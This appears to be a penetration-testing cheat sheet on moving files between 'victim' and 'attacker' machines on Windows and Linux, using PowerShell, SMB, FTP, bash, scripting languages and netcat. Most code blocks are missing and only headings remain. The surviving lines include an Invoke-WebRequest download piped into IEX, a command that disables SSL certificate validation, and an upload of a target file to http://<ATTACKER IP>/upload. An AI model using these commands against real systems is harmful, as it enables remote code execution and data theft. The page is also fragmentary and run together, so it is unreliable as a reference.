File Transfers
How to transfer files between the victim and attacker servers
Windows File Transfer Methods
PowerShell Download
Using Net.WebClient and DownloadFile method
PS C:\user> (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\user> (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')Using Invoke-WebRequest
PS C:\user> Invoke-WebRequest '<Target File URL>' -OutFile '<Output File Name>' -UseBasicParsing | IEXBypassing SSL error
PS C:\user> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}PowerShell Upload
On the attacker server, run an upload server
$ python3 -m uploadserverOn the victim server, upload files to the server
PS C:\user> Invoke-FileUpload -Uri http://<ATTACKER IP>/upload -File <TARGET FILE>Upload by converting to Base64
SMB Download
Create a SMB folder on the attacker server
On the victim, download files from the attacker server
If Windows requires a user and password set on the SMB server, set those up
Mount the drive on the victim
SMB Upload
When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.
Setup a SMB over HTTP server using WebDav on the attacker server
Upload files from the victim server to the attacker server
FTP Download
Host FTP on the attacker server
Download files from the victim machine
Non-Interactive FTP download
FTP Uploads
Run an FTP server on the attacker machine
Upload files from the victim machine
Non-Interactive FTP upload
Linux File Transfer Methods
Network Downloads
Network Uploads
On the attacker server, run an upload server
On the victim, upload files to the server. We need to specify insecure because we are using a self-signed cert
Fileless attacks
Bash Downloads
Only works if Bash v 2.04 or greater is compiled with --enable-net-redirections
SSH/SCP Download
SSH/SCP Uploads
Web Servers in other languages
Transferring Files with Code
Python
PHP
Ruby
Perl
Javascript + cscript
Save the following code as `wget.js`
Execute `wget.js` using powershell
VBScript + cscript
Save the following code as `wget.vbs`
Execute `wget.vbs` using powershell
Misc Transfers
Nc
Victim machine ready to receive data and write to local server
Attacker machine sending file over
Doing the same but over an allowed port 443
RDP
Last updated